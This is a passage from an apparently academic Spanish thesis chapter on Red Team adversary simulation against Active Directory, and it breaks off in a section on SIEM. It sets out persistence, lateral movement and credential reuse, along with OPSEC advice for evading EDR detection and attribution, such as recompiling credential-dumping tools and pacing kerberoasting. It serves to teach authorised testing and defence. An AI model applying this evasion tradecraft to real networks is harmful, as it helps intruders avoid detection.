pliegue de persistencias debe realizarse conscientes de las implicaciones que puede tener en
el sistema ya que podemos alertar a los equipos de Blue Team, si no es hecho adecuadamente.

Una de las técnicas que se suele aplicar para conseguir persistencia en el equipo objeti-
vo es Dynamic Link Library (DLL) hijacking. En este tipo de ataque, en lugar de ejecutar
el código malicioso directamente mediante un ejecutable, introduciremos una librería DLL
maliciosa para que sea otro proceso el que la ejecute (CrowdStrike, 2022a). De esta manera,
permitiremos que el malware realice un bypass de medidas de seguridad tales como whitelist
de aplicaciones y otros controles automáticos.

Sin embargo, la técnica de persistencia más básica, y en muchos casos la más sigilosa,
es analizar el directorio activo y realizar cambios en usuarios no privilegiados con el fin de
conseguir el rol de administrador de dominio. Podemos explotar atributos como GenericAll,
OwnsGroupMembership, WriteDACL o AllExtendedRights entre otros.

Para aplicar las distintas técnicas de persistencia, tendremos que ejecutar un payload en
2.1. Simulaciones de adversario 9

el sistema, en la mayoría de los casos, para configurar nuestro implante que nos permitirá
conectarnos desde nuestro servidor Command and Control (C2). Podemos distinguir 2 tipos
de payload según su contenido:

• Staged: El payload contendrá las instrucciones básicas para descargar el resto del malware
de Internet.

• Stageless: El payload contendrá todo el código necesario para implantar el software que
nos permitirá conectarnos desde nuestro servidor C2.

2.1.6 Movimiento lateral

Una vez hemos realizado el reconocimiento necesario en la red en la que nos encontremos,
procederemos a aplicar diversas técnicas para ganar acceso a nuevos sistemas. Para ello, ten-
dremos que pivotar entre sistemas y cuentas.

Como adversarios, tenemos 2 opciones a la hora de movernos lateralmente por la red:

instalar nuestras propias herramientas en los sistemas a los que tengamos acceso o utili-
zar credenciales legítimas con herramientas de la propia red o del sistema operativo (MITRE
ATT&CK, 2025a). Como ya hemos comentado, cualquier transferencia o uso de herramientas
externas al sistema bajo nuestro control es susceptible de llamar la atención de los AV/EDR.
Por tanto intentaremos, en la medida de lo posible, utilizar herramientas ya existentes en el
sistema con el fin de ser más sigilosos.

Algunos protocolos que utilizaremos en nuestra simulación de adversario para pivotar en

entornos de directorio activo son:

• Server Message Block (SMB): Es un protocolo de red para compartir ficheros que
permite a las aplicaciones leer y escribir ficheros remotos, y comunicarse con cualquier
software del servidor que esté preparado para recibir una petición de un cliente SMB
(Microsoft, 2016).

• Remote Desktop Protocol (RDP): Es un protocolo de red ofrecido por Microsoft que
proporciona a los usuarios una sesión gráfica a un sistema remoto.

• Windows Remote Management (WinRM): Es tanto el servicio de Windows, como el

protocolo que permite a usuarios interactuar con un sistema remoto (correr un ejecutable,
modificar registros, servicios, etc) (MITRE ATT&CK, 2020).

Se ha observado una tendencia muy alta de reutilizar contraseñas para diversos sistemas y
servicios por parte de los usuarios. Por tanto, debemos de probar todas las credenciales váli-
das que tengamos (y que vayamos encontrando) para iniciar sesión en los diversos protocolos
anteriormente mencionados, así como en cualquier otro que nos permita tomar control de
un nuevo sistema. No debemos tampoco olvidar que muchos proveedores de servicios en la
nube, permiten conexiones interactivas a la infraestructura virtual como Azure Web Conso-
le, Amazon Web Services (AWS) Amazon Elastic Compute Cloud (EC2) Instance Connect,
10 Estado del arte

AWS System Manager,... (MITRE ATT&CK, 2025a), y las credenciales que hayamos obte-
nido también pueden ofrecernos una vía de acceso a estas tecnologías.

Además de estas técnicas, durante el proyecto desarrollaré una de las más útiles como
operadores de Red Team: uso de material de autenticación alternativo. Esta técnica
se caracteriza por usar elementos de seguridad como hashes, tickets de Kerberos, tokens de
acceso, etc, para movernos lateralmente por el entorno y bypassear sistemas de control de
acceso (MITRE ATT&CK, 2025a).

2.2 Seguridad operacional (OPSEC)

En esta era de la información, no sólo se requieren grandes esfuerzos para que nuestras
operaciones en el ciberespacio sean fructíferas, sino también para asegurarnos que nuestros
adversarios no obtengan datos que les permitan lograr sus objetivos o impedir que logre-
mos los nuestros. El término OPSEC se originó durante la Guerra de Vietnam, cuando a un
grupo de individuos estadounidenses se les asignó la misión de descubrir cómo el enemigo ha-
bía obtenido inteligencia de ciertas operaciones militares en el sudeste asiático. Este equipo,
pronto se dió cuenta de que las tradicionales tácticas de contrainteligencia que empleaban,
eran insuficientes para impedir que el enemigo consiguiera información relacionada con sus
capacidades e intenciones (U.S. Department of Defense, 2021).

El grupo concibió y desarrolló una metodología para analizar las operaciones estadouni-
denses desde el punto de vista del enemigo para averiguar como éste obtenía la información.
De esta manera, determinaron qué información necesitaba protección, obtuvieron informa-
ción sobre las capacidades en inteligencia del enemigo, descubrieron vulnerabilidades en sus
operaciones, evaluaron el riesgo de explotación e idearon formas de frustrar la recopilación o
el uso de información por el enemigo.

Aunque se fundamentó en el ámbito militar, la seguridad operacional (Operational Security

(OPSEC)) se ha llevado a muchas organizaciones de sectores no gubernamentales. Incluso
inconscientemente aplicamos tácticas de OPSEC en nuestro día a día. Ejemplos de ello in-
cluyen transitar por zonas bien iluminadas y bien populadas una vez caído el sol o utilizar
temporizadores para las luces de casa durante las vacaciones y así aparentar que hay alguien.

Por tanto, en el contexto tecnológico de los ejercicios de Red Team, la seguridad operacional
consiste en identificar esa información crítica que pueda ser captada por el enemigo, si puede
ser útil para ellos y ejecuta las medidas necesarias para eliminar o reducir la explotación
de esta información por el equipo Blue Team (RedTeam Guide, 2025). Esencialmente, con-
siste en entender qué acciones puede observar el equipo Blue Team y minimizar la exposición.

Una de las máximas que debemos asumir es que toda interacción con el objetivo deja
logs. Debemos, por tanto, conseguir que todo rastro que dejemos sea lo más difícil posible
relacionarlo con nuestra organización e infraestructura. Para ello se aplican diversas tácticas,
entre las que encontramos las operaciones de bandera falsa.
2.2. Seguridad operacional (OPSEC) 11

Estas operaciones se caracterizan por culpar a otro actor para engañar al enemigo. El
término ‘bandera falsa’ se originó probablemente en las guerras navales del siglo XVI. Una
nave de guerra izaría ocasionalmente una bandera de un actor neutral (o enemigo) de la
nación adversaria para acercarse lo suficiente a una nave hostil antes de abrir fuego (Cranfield
University, 2023). En el contexto de nuestras ciberoperaciones, podemos utilizar técnicas,
tácticas y procedimientos normalmente aplicados por otros actores (enemigos también de
nuestro objetivo) para nuestra operativa.

2.2.1 OPSEC para equipos Red Team in situ

Cuando se llevan a cabo operaciones sobre el terreno donde, tenemos que estar fisícamente
cerca de nuestro objetivo, debemos de tomar ciertas medidas de seguridad para evitar ser
detectados, y en el caso de serlo, que no puedan descubrir información que ponga en peligro
la operación.

Por lo general, esta operativa es necesaria cuando tenemos que interactuar con tecnologías
que no son accesibles a través de Internet, sino que debemos situarnos a cierta distancia
de ellas. Estas tecnologías incluyen WiFi, radio, redes para dispositivos móviles (GSM, 3G,
4G,...) entre otras. Algunas tácticas que debemos aplicar son las siguientes:

• Nunca portar dispositivos personales, ni móviles ni relojes inteligentes, en general nada

tenga conectividad.

• Todas las interfaces de red deben tener una dirección Media Access Control (MAC) distinta
a la proporcionada por el fabricante (MAC Spoofing).

• Se deben utilizar teléfonos desechables y frecuencias no estándar para las comunicaciones.

• No se deben reutilizar tarjetas Subscriber Identity Module (SIM) entre operaciones.

• Dispositivos que disponen de un identificador único (como la huella digital de radiofre-

cuencias2 ) deben ser sustituidos por otros lo antes posible.

2.2.2 OPSEC para equipos Red Team en remoto

[Link] Hasta la intrusión inicial
Cada vez que interactuamos con nuestro objetivo dejaremos algún tipo de rastro. Aun-
que algunos indicadores de actividad sospechosa son bien conocidos, y fácilmente evitables,
los equipos de Blue Team tienen muchas fuentes con las que pueden comparar los distin-
tos logs que dejemos en los sistemas. Esto implica que debemos de ser más cuidadosos con
nuestra operativa, ya que debemos precuparnos tanto por la detección como por la atribución.

Estas son algunas de las tácticas que debemos utilizar en cada una de nuestras simulaciones
de adversario:
2
El fingerprinting de radiofrecuencias hace referencia a la metodología en la que las características intrín-
secas de un hardware transmisor son embebidas en la onda transmitida e identifican inequívocamente un
dispositivo (Jagannath y cols., 2022).
12 Estado del arte

• Uso de máquinas virtuales distintas para cada operación.

• Hostnames y nombres de usuario únicos y no vinculables a nuestra organización.

• Agentes de usuario (User-Agent) personalizados para todas las peticiones.

• Infraestructura de C2 con servidores redirectores para redirigir a los usuarios que visiten
nuestro dominio a una web tapadera.

Para aplicar la táctica de personalización de agentes de usuario, podemos modificar el

archivo .bashrc o .zshrc (depende de la shell que utilizemos) para que se ejecuten las
herramientas con el agente de usuario que deseemos:
Código 2.1: Ejemplo fichero bashrc

1 export USER_AGENT="Mozilla/5.0 (X11; Linux x86_64; rv:134.0) Gecko/20100101 ←-

,→ Firefox/134.0"
2
3 alias wget="wget -U '$USER_AGENT'"
4 alias curl="curl -A '$USER_AGENT'"
5 alias masscan="masscan --user-agent='$USER_AGENT'"
6 alias ffuf="ffuf -H 'User-Agent: $USER_AGENT'"
7 alias eyewitness="eyewitness --user-agent '$USER_AGENT'"
8 alias httpx="httpx -H 'User-Agent: $USER_AGENT'"

A parte de las herramientas que utilizemos a nivel de línea de comandos, también debemos
asegurarnos de que el resto de herramientas (tanto gráficas como interactivas) tengan un
User-Agent personalizado. Solo por mencionar algunas: proxies web (como [Link]
.io/ o [Link] Socat, NetCat, el framework Metasploit https://
[Link]/,...

Uno de los elementos más importantes de nuestra simulación de adversario es la arquitec-

tura de nuestro sistema de comando y control. Un sistema de comando y control (C2) es
un entorno donde como operadores nos conectaremos a la organización objetivo para darle
instrucciones, comandos, exfiltrar información, etc (Tarlogic, 2025). Este entorno debe de
estar debidamente protegido contra agentes externos, ya que de lo contrario podríamos com-
prometer toda la operación.

Esto significa que debemos implementar sistemas de control de acceso y autenticación para
validar nuestras comunicaciones, y otros servicios tapadera en caso de que alguien investigue
nuestro sistema.

[Link] Tras el acceso a la red interna

Una vez infiltrada la organización objetivo y cumpliendo todas las tácticas OPSEC an-
teriormente descritas, debemos asegurarnos de ser lo más sigilosos posible para que no nos
puedan detectar las soluciones que tengan implementadas (EDR, IDS, IPS,...).

Por un lado, debemos modificar todas las herramientas que utilizemos para que no sean
detectadas, ya que la mayoría de soluciones de ciberdefensa tienen firmas digitales de muchos
2.3. Servicios de dominio de directorio activo (AD DS) 13

binarios de pentesting. Por ejemplo, en lugar de ejecutar [Link] para extraer contra-
señas del proceso Local Security Authority Subsystem Service (LSASS) o tickets Kerberos,
debemos modificar el código fuente de esta herramienta, dejar solo las funcionalidades que
necesitemos y compilarlo.

Por otro lado, debemos de ser conscientes del ruido que generan nuestros ataques en la red
y minimizarlo lo máximo posible. Si vamos a realizar un ataque kerberoasting (como veremos
más adelante) para solicitar Ticket Granting Service (TGS), no debemos solicitarlos todos
a la vez, sino ir solicitándolos en intervalos de tiempo irregulares. Además, en lugar de usar
intervalos de tiempo fijos, debemos ejecutar nuestras herramientas en un intervalo imprede-
cible. Esto implica que su comportamiento sea menos predecible y más difícil de correlacionar.

Por último, en lo que concierne a la táctica de persistencia, debemos utilizar técnicas

avanzadas y sigilosas ya que de lo contrario podríamos poner en peligro toda la operación. No
podemos dejar tareas programadas evidentes o crear nuevas configuraciones ya que llamarían
la atención de cualquier EDR.

2.3 Servicios de dominio de directorio activo (AD DS)

Un servicio de directorio se define como el conjunto de aplicaciones, protocolos y sistemas
de almacenamiento que permite archivar, gestionar y dar acceso a un conjunto de procesos
clientes a una información que es organizada de forma jerárquica (Maciá Pérez y cols., 2008).

El servicio de directorio activo (AD DS), proporciona los métodos para almacenar datos
en el directorio y poner dichos datos a disposición de los usuarios y administradores de red.
Active Directory usa un almacén de datos estructurado como base para una organización
jerárquica lógica de la información del directorio. Este almacén de datos, también conocido
como directorio, contiene información sobre los objetos de Active Directory. Estos objetos
suelen incluir recursos compartidos como servidores, volúmenes, impresoras y cuentas de
usuario y equipo de red (Microsoft, 2024).

La seguridad se integra en Active Directory mediante la autenticación de inicio de sesión y

el control de acceso a los objetos del directorio. Con un único inicio de sesión (SSO) de red,
los administradores pueden administrar los datos del directorio y la organización a través
de su red, y los usuarios de red autorizados pueden tener acceso a los recursos en cualquier
parte de la red. Además impone el uso de mecanismos de seguridad más avanzados como las
políticas de contraseñas y el multi-factor de autenticación (MFA), entre otros. Objetos del
AD, como los de políticas de grupo, hacen que las reglas y ajustes de seguridad se apliquen
transversalmente entre usuarios.

Todas estas características, tanto de funcionalidad como de seguridad, hacen que este
servicio sea muy utilizado en entornos empresariales. Aunque tiene más de 20 años, el servicio
de directorio activo de Microsoft es usado por más del 90% de empresas del Fortune 1000
para la gestión de identidades y controles de acceso. Esta prevalencia de uso hace que sea
un objetivo prioritario para adversarios, ya que un directorio activo cuya seguridad ha sido
14 Estado del arte

comprometida puede debilitar toda la infraestructura (CrowdStrike, 2022b).

2.3.1 Objetos
Un objeto es cualquier recurso del Directorio Activo tales como impresoras, usuarios, Or-
ganizational Unit (OU), controladores de dominio, etc. En el árbol LDAP del directorio,
los nodos hoja representan a los usuarios del directorio activo. Estos usuarios pueden tener
muchos atributos, aunque los más comunes son el identificar único global (Globally Unique
Identifier (GUID)), el nombre de usuario, la dirección mail, la fecha del último cambio de
contraseña y el último login. Uno de los atributos más importantes es el identificador de
seguridad (Security Identifier (SID)). Este atributo es único entre todos los objetos del domi-
nio y se utiliza tanto para autenticarse en sistemas como en recursos compartidos. Al estar
ligado al usuario, incluso si éste cambia sus otros atributos, se utiliza en la listas de control
de acceso (ACLs) para permitir o denegar acceso a dicho usuario.

Otro de los objetos más importantes que encontraremos en nuestras simulaciones de adver-
sario en entornos AD son las unidades organizativas (OUs). Estas permiten a los administra-
dores controlar los permisos concedidos a los usuarios de una forma más granular. Pongamos
que un usuario pertenece a un OU top-level llamado Alicante, y existen varios OU hijos pa-
ra cada barrio Florida, San Blas, etc. Si el administrador quiere conceder un determinado
permiso, lo puede asignar a los usuarios de la OU Alicante. En este caso, todas las OUs hijos
obtendrán dicho permiso. Si por el contrario, quiere asignar el permiso a la OU San Blas,
sólo los usuarios pertenecientes a esa OU obtendrán el permiso. Además, estas OUs servirán
como contenedores sobre los que se aplicarán la políticas de grupo para la gestión de usuarios
y estaciones de trabajo en dichas GPOs.

Sin embargo, posiblemente el objeto más importante del Directorio Activo y el que define
su estructura, es el dominio. El dominio es la separación lógica más básica que se utiliza en un
entorno de Directorio Activo. Contiene objetos hoja como usuarios o estaciones de trabajo,
que a su vez están contenidos en otros objetos contenedores, tales como unidades organizati-
vas (OUs) o grupos de seguridad. Cada dominio tiene una base de datos separada del resto
y una serie de políticas que se aplicarán a todos los objetos de dicho dominio. Los dominios
también tiene un servidor (o más de uno) que cumple el rol de controlador de dominio
y se encarga de administrar los usuarios y gestionar la autenticación en su dominio. Estos
servidores se encargan de replicar la base de datos del directorio a otros DCs, y suelen actuar
como servidor de nombres DNS. Comprometer estos DCs, significa obtener el control total del
dominio, lo que nos permitirá movernos lateralmente y aplicar persistencia sobre el dominio
de forma sencilla y sigilosa. Por este motivo, nuestro principal objetivo como operadores de
Red Team será el de vulnerar estos DCs.

2.3.2 Políticas de grupo (GPO)

La directiva de grupo puede representar la configuración de directivas localmente en el
sistema de archivos o en los Servicios de dominio de Active Directory. Cuando se usa con
Active Directory, la configuración de directiva de grupo se incluye en un objeto de directiva
2.3. Servicios de dominio de directorio activo (AD DS) 15

de grupo (GPO). Un GPO es una colección virtual de configuración de directivas, permisos

de seguridad y ámbito de administración que puede aplicar a usuarios y equipos de Active
Directory. Normalmente, asigna la mayoría de los GPO en el nivel de unidad organizativa,
por lo que debe asegurarse de que la estructura de unidades organizativas admita la estra-
tegia de administración de cliente basada en directivas de grupo. También puede aplicar
algunas opciones de directiva de grupo en el nivel de dominio, especialmente las directivas de
contraseña (Microsoft Corporation, 2025).

2.3.3 Protocolos de autenticación

Las primeras versiones de Windows almacenaban las contraseñas únicamente en las má-
quinas cliente. Con el paso del tiempo, se fueron introduciendo distintos protocolos de auten-
ticación, como LM en Windows 95. Sin embargo, con este protocolo las contraseñas tenían
un tamaño máximo de 14 caracteres, no distinguía entre mayúsculas y minúsculas, y cada 7
caracteres se cifraban de forma separada (Bhandari, Randhir and Kumar, Nagesh and Shar-
ma, Sachin, 2014). Para superar todas estas limitaciones, LM fue mejorado y en 1993 surgió
un nuevo protocolo llamado New Technology LAN Manager (NTLM). El paradigma de este
protocolo era radicalmente distinto al anterior, siguiendo un paradigma de challenge-response.

[Link] New Technology LAN Manager (NTLM)

El protocolo de autenticación NTLM fue utilizado como predeterminado por primera vez
en el Windows NT 4.0 y aún se incorpora en las últimas versiones de Windows para asegu-
rar la compatibilidad con versiones anteriores (Bhandari, Randhir and Kumar, Nagesh and
Sharma, Sachin, 2014). La primera versión, utilizaba el algoritmo de cifrado simétrico DES
para el challenge-response, RC4 para la seguridad de la sesión y almacenaba la contraseña
del usuario como un hash MD4. A día de hoy tanto el algoritmo RC4 como el DES están
rotos y para el MD4 se han encontrado colisiones3 parciales y completas, lo que rompe com-
pletamente una de las propiedades fundamentales de las funciones de hash seguras.

Con el objetivo de mitigar las vulnerabilidades críticas de NTLMv1, en el año 2000 surgió
NTLMv2 en la versión de Windows 2000 SP4 y se convertiría en el estándar de facto du-
rante los siguientes años. En lugar del challenge de 56 bits de NTLMv1, esta nueva versión
utilizaba challenges de 128 bits. También se introdujo el uso de HMAC-MD5 para asegurar
la integridad de los mensajes de autenticación, y protecciones contra ataques de downgrade4 .

En un entorno de Active Directory, el proceso de autenticación comienza cuando el proceso

LSASS envía un paquete NEGOTIATE al servidor contra el que quiere autenticarse. Este
servidor responde con un CHALLENGE5 , el cuál es cifrado por LSASS con el hash NTLM
del usuario almacenado en memoria. El challenge cifrado se envía de vuelta al servidor en el
paquete RESPONSE. Como el servidor no tiene acceso al hash NTLM del usuario, reenvía
el paquete RESPONSE y el CHALLENGE al DC. El DC descifra el RESPONSE usando el
hash NTLM del usuario que está almacenado en la BD del AD ([Link]). Si coincide con
3
Una colisión en una función hash ocurre cuando para dos entradas distintas se produce una misma salida.
4
En el contexto de NTLMv2, un ataque de downgrade consiste en forzar la autenticación por NTLMv1.
5
El challenge o nonce es un número aleatorio de 8 bytes en NTLMv2 y 56 bits en NTLMv1.
16 Estado del arte

Figura 2.1: Proceso de autenticación NTLM en un entorno de dominio

el challenge, el DC confirma la autenticación exitosa al servidor.

A pesar de las mejoras que introdujo Microsoft con NTLMv2, éste sigue siendo vulnerable
a multitud de ataques. Por esta razón, Microsoft recomienda deshabilitar la autenticación
NTLM (en las últimas versiones de Windows ya viene deshabilitado por defecto) en todos los
equipos, y reemplazarlo por el protocolo basado en tickets Kerberos.

[Link] Kerberos
Kerberos es un protocolo de autenticación a nivel de red desarrollado en los años 80 por
científicos del Massachusetts Institute of Technology (MIT). El término Kerberos proviene de
‘Cerberus’ (del griego antiguo Κέρβερος), el perro guardián a las puertas del reino de Hades
en la mitología griega. Este protocolo utiliza algoritmos criptográficos robustos para que un
cliente pueda probar su identidad a un servidor (y viceversa) a través de una conexión de red
insegura. Una vez que cliente y servidor hayan utilizado Kerberos para probar su identidad,
pueden encriptar sus comunicaciones para asegurar tanto la privacidad como la integridad
de los datos (Massachusetts Institute of Technology, 2024).

La arquitectura de Kerberos está dividida en 2 componentes principalmente:

• Key Distribution Center (KDC): Almacena la información de autenticación.

• Ticket Granting Service (TGS): Contiene los tickets digitales para identificar clien-
tes y servidores en la red (Motero, Carlos Díaz and Higuera, Juan Ramón Bermejo and
Higuera, Javier Bermejo and Montalvo, Juan Antonio Sicilia and Gómez, Nadia Gámez,
2021).

Hay 3 agentes involucrados en este proceso:

• Máquina cliente: Equipo donde se encuentra el usuario que quiere acceder a un de-
terminado servicio.
• Servidor de aplicación: Equipo que ofrece el servicio al que quiere acceder el usuario.
• Key Distribution Center (KDC): Servidor central encargado de autenticar usuarios
y de la distribución de tickets para que puedan identificarse. En el caso de Active
Directory, el KDC se encuentra instalado en el Domain Controller (DC) (Motero, Carlos
Díaz and Higuera, Juan Ramón Bermejo and Higuera, Javier Bermejo and Montalvo,
Juan Antonio Sicilia and Gómez, Nadia Gámez, 2021).
2.4. Normativas y ciberdefensa internacional 17

Este KDC se encarga de almacenar todos los tickets y claves de encriptación necesarias pa-
ra el correcto funcionamiento del protocolo. Comentar brevemente que es aquí donde se aloja
la clave Advanced Encryption Standard (AES) del usuario krbtgt, la cuál es utilizada para
encriptar los Ticket Granting Ticket (TGT)s antes de enviárselos al cliente, y desencriptar
dichos tickets para su validación.

2.4 Normativas y ciberdefensa internacional

El endurecimiento de redes y sistemas consiste en implementar todas las medidas de se-
guridad posibles para proteger dicho sistema/red (Centro Criptológico Nacional, 2015). Su
principal objetivo es reducir la superfície de ataque aplicando medidas de protección proac-
tivas, corrigiendo configuraciones inseguras y deshabilitando servicios innecesarios.

En esta sección, se estudiarán las distintas medidas de endurecimiento presentes en están-

dares internacionales, en especial las del Centro Criptológico Nacional (CCN), entidad de
referencia en el ámbito español. Estas guías son muy relevantes en el contexto actual de la
seguridad informática, en especial, con el desarrollo seguro de infraestructuras alineadas con
buenas prácticas en ciberseguridad.

2.4.1 Marco normativo español

En el ámbito nacional, la estrategia de la ciberseguridad defensiva en sistemas de la ad-
ministración pública está regulada por el Esquema Nacional de Seguridad (ENS) y por las
directrices del CERT del Centro Criptológico Nacional (CCN). Estas dos organizaciones dic-
tan la normativa y técnica que se aplican en todo el sector público.

El Esquema Nacional de Seguridad (ENS) ofrece un marco común de principios básicos,

requisitos y medidas de seguridad para una protección adecuada de la información tratada y
los servicios prestados, con objeto de asegurar el acceso, la confidencialidad, la integridad, la
trazabilidad, la autenticidad, la disponibilidad y la conservación de los datos, la información
y los servicios utilizados por medios electrónicos que gestionen el ejercicio de sus competen-
cias (Centro Criptológico Nacional, 2024). Aunque fue inicialmente desarrollada en 2010, se
encuentra en constante evolución para adaptarse a las amenazas actuales, como su notable
modificación de 2015. Su última actualización (España, 2022) data del año 2022.

De acuerdo con las consecuencias que pueda tener un ciberataque sobre una determinada
organización del sector público, es clasificada en 4 categorías que determinan cuáles son los
mínimos en materia de defensa cibernética exigidos por la Ley.

• Básica: Cuando un incidente de seguridad suponga un perjuicio limitado sobre las fun-
ciones de una organización o sus activos.

• Media: Cuando un incidente de seguridad reduzca significativamente la capacidad de

una organización para desarrollar sus funciones o cause un daño significativo en sus
18 Estado del arte

activos.

• Alta: Cuando un incidente de seguridad anule por completo la capacidad de operación

de una organización, o cause un daño muy grave (incluso irreparable) en sus activos.

• Sistemas clasificados: Sistemas de información que manejan información clasificada con-

forme a la normativa de protección de información del Centro Criptológico Nacional y
otras regulaciones nacionales como la Ley de Secretos Oficiales y el Esquema Nacional
de Seguridad.

Según la categoría de una determinada organización de la administración pública, ésta,

deberá cumplir con las directrices correspondientes a su categoría. Estas directrices consisten
en una serie de configuraciones en los sistemas utilizados, que vienen definidas en las distintas
guías CCN-STIC de cada tecnología.

El organismo responsable de la redacción de estas guías CCN-STIC es el Centro Criptológi-

co Nacional (CCN), adscrito al Centro Nacional de Inteligencia (CNI). El CCN redacta estas
guías que describen configuraciones seguras de sistemas operativos, servicios, redes físicas y
cloud, controles de acceso, etc. Estas guías son de uso obligatorio para toda organización
pública que pertenezca a una de las categorías previamente descritas, y altamente recomen-
dadas para organizaciones del sector privado.

Para entornos de Active Directory, el CCN tiene diversas guías CCN-STIC orientadas al
endurecimiento de controladores de dominio, estaciones de trabajo, servicios de autentica-
ción y otros elemntos que forman parte de este tipo de infraestructuras. Su adopción no solo
mejora la seguridad de una organización, sino que en mucho casos es necesaria para el cum-
plimiento de la legislación vigente.

En lo referente a respuesta a incidentes, en España tenemos 3 instituciones CERT que se

encargan de la gestión y respuesta a incidentes de ciberseguridad:

• Instituto Nacional de Ciberseguridad (INCIBE): Sus competencias están limi-

tadas al sector privado y al ciudadano común. Tiene su sede en León.

• Centro Criptológico Nacional (CCN): Se encargan de la ciberseguridad de todo

sistema de la administración pública. Tiene su sede en Madrid.

• Mando Conjunto del Ciberespacio (MCCE): El CERT del MCCE se encarga de la

seguridad de los sistemas del Ministerio de Defensa y en el ámbito de sus competencias.
Tiene sus instalaciones en la base de Retamares, en Pozuelo de Alarcón, Madrid.

2.4.2 Ciberdefensa en el ámbito militar

Uno de los organismos más importantes en esta materia es el Centro de Excelencia en Ci-
berdefensa Cooperativo de la OTAN (CCDCOE) ubicado en Tallinn, Estonia. La CCDCOE
es la responsable de coordinar la educación y el entrenamiento en ciberdefensa para todos los
miembros de la Organización del Tratado del Atlántico Norte (OTAN) (NATO Cooperative
2.5. Estado de la defensa en entornos corporativos 19

Cyber Defence Centre of Excellence, 2025).

Desde 2010, el CCDCOE organiza anualmente el ejercicio de ciberresiliencia más grande y

complejo en el mundo, Locked Shields. Este ejercicio técnico se ha expandido considerable-
mente en los últimos años, simulando toda la complejidad de un incidente de ciberseguridad
masivo, en sistemas militares, infraestructuras críticas y otros sistemas IT (NATO Coopera-
tive Cyber Defence Centre of Excellence, 2025).

Otro ejercicio menos conocido es Crossed Swords, también llevado a cabo por el CCDCOE,
que está diseñado para formar a especialistas en ciberseguridad para ejecutar una serie de
operaciones ofensivas en un entorno simulado y formar comandos militares en capacidades
de comando y control en operaciones de ataque. En el escenario de este ejercicio nos encon-
tramos varias naciones ficticias y una nación amiga que está en situación de conflicto armado
con una tercera nación hostil (NATO Cooperative Cyber Defence Centre of Excellence, 2024).

Toda esta preparación de los países OTAN no se centra solo en los aspectos técnicos y
operativos del ciberespacio, sino en la integración de las capacidades cibernéticas con otras
capacidades militares convencionales. Aunque carece de naturaleza física, el ciberespacio ha
sido descrito como un ‘dominio global’ o ‘quinto dominio’, complementando a los dominios
tradicionales de tierra, mar, aire y espacio (Michael N. Schmitt, 2017).

Ante este panorma de conflictos y crisis cibernéticas, surge el concepto de ciberdiplomacia.

Las relaciones internacionales y estrategias geopolíticas han incorporado este nuevo campo
para negociar normas, acuerdos y mecanismos de cooperación que reduzcan riesgos y promue-
van la estabilidad cibernética global. En concreto, el Manual de Tallinn es el documento de
referencia en derecho internacional aplicable a estos conflictos. Este documento, enfatiza la
necesidad de que los estados mantengan canales diplomáticos y transparentes para gestionar
incidentes de ciberseguridad y evitar escaladas (Michael N. Schmitt, 2017).

En los últimos años, la política española ha destacado la importancia de la ciberdiplomacia

promoviendo el diálogo internacional y la cooperación en el marco europeo y global con
el objetivo de prevenir conflictos y responder colectivamente a las amenazas digitales. La
estrategia española de ciberseguridad incluye la colaboración estrecha con la Unión Europea,
la OTAN y otros aliados para fortalecer la resiliencia y la estabilidad en el ciberespacio
(Departamento de Seguridad Nacional, 2025).

2.5 Estado de la defensa en entornos corporativos

En la actualidad, la defensa en los entornos de Active Directory se implementa mediante
un conjunto de marcos y tecnologías que permiten la detección, respuesta y mitigación de
los ataques sufridos en tiempo real y de forma retroactiva. Las corporaciones incluyen tanto
tecnologías y soluciones enfocadas al Active Directory, como otras más genéricas y centradas
en tareas que cualquier red e infraestructura segura deben implementar.

Sin embargo, defender estos entornos no es tarea fácil. Algunos actores de amenazas como
20 Estado del arte

APTs6 o grupos cibercriminales cuentan con conocimientos técnicos avanzados y recursos su-
ficientes como para llevar a cabo ciberoperaciones sofisticadas y de difícil detección. Además,
existe un desequilibrio inherente entre los actores defensores y atacantes que incrementa la
dificultad de la defensa de estos entornos: el atacante solo necesita encontrar una debilidad
o vulnerabilidad conocida en un sistema para comprometer todo el entorno, mientras que los
actores defensores deben mantener una infraestructura segura en todo momento.

Ante este escenario de amenazas sofisticadas y con un alto grado de persistencia en el

entorno, las organizaciones necesitan de herramientas y estrategias de defensa robustas pa-
ra facilitar la detección, respuesta y mitigación de posibles intrusiones en los sistemas. A
continuación, se detallan algunas soluciones empleadas por equipos encargados de la admi-
nistración y seguridad defensiva de entornos de Active Directory, enfocadas particularmente
en la monitorización y defensa del entorno.

2.5.1 Sistemas SIEM

Un sistema SIEM (en inglés, Security Information and Event Manager), es una herramien-
ta que recolecta y centraliza todos los eventos de seguridad e información de los registros de
actividad de una infraestructura TIC (Centro Criptológico Nacional, 2015). Routers, proxies,
cortafuegos, servidores VPN, sistemas de detección/prevención de intrusos son algunos de
los equipos que pueden formar parte de una red (o conjunto de redes). Para simplificar la
gestión de los registros que producen estos equipos, un sistema SIEM nos permite catalogar
y correlacionar todas estas fuentes de datos para identificar amenazas y generar alertas de
incidentes de seguridad.

Estos registros no solo son útiles para la detección de amenazas en tiempo real, sino que
son de utilidad a la hora de realizar un análisis forense del entorno tras un ataque a la infra-
estructura. Además, su correcta conservación puede ser vital para satisfacer ciertos requisitos
legales, así como proporcionar evidencias en investigaciones judiciales y auditorías de los sis-
temas.

Tanto en España como a nivel europeo, existen diversas normativas que obligan a conser-
var registros un determinado período de tiempo. A nivel europeo, el reglamento general de
protección de datos (RGPD) que exige la conservación de registros para garantizar la segu-
ridad de los sistemas. A nivel nacional, además de diversas guías del CCN no vinculantes
legalmente, la Ley de Servicios de la Sociedad de la Información (LSSI) en su artículo 12
nos dice que: los operadores de redes, proveedores de acceso a redes de telecomunicaciones y
prestadores de servicios de alojamiento de datos deben retener los datos de conexión y tráfico
generados por un perído máximo de 12 meses (España, 2002).

La arquitectura de estos sistemas varía ligeramente en función de la solución utilizada.

Algunas de estas soluciones más conocidas son Splunk, IBM Radar, Microsoft Sentinel o
6
Una amenaza persistente avanzada (APT) es un ataque selectivo de ciberespionaje o cibersabotaje lleva-
do a cabo bajo el auspicio o la dirección de un país, por razones que van más allá de las meramente
financieras/delicitivas o de protesta política (Centro Criptológico Nacional, 2015).
2.5. Estado de la defensa en entornos corporativos 21

Elastic Security. La guía para la gestión de registros de seguridad informática del NIST
describe las siguientes 3 capas en una infraestructura SIEM:

• Generación de registros: Esta primera capa contiene todos los equipos que generan
datos de registro. Algunos hosts ejecutan aplicaciones de log para que éste esté dispo-
nible a través de la red para los servidores de la segunda capa. Otros equipos, permiten
que los servidores de la segunda capa recuperen dichos datos de otro modo (Kent, Karen
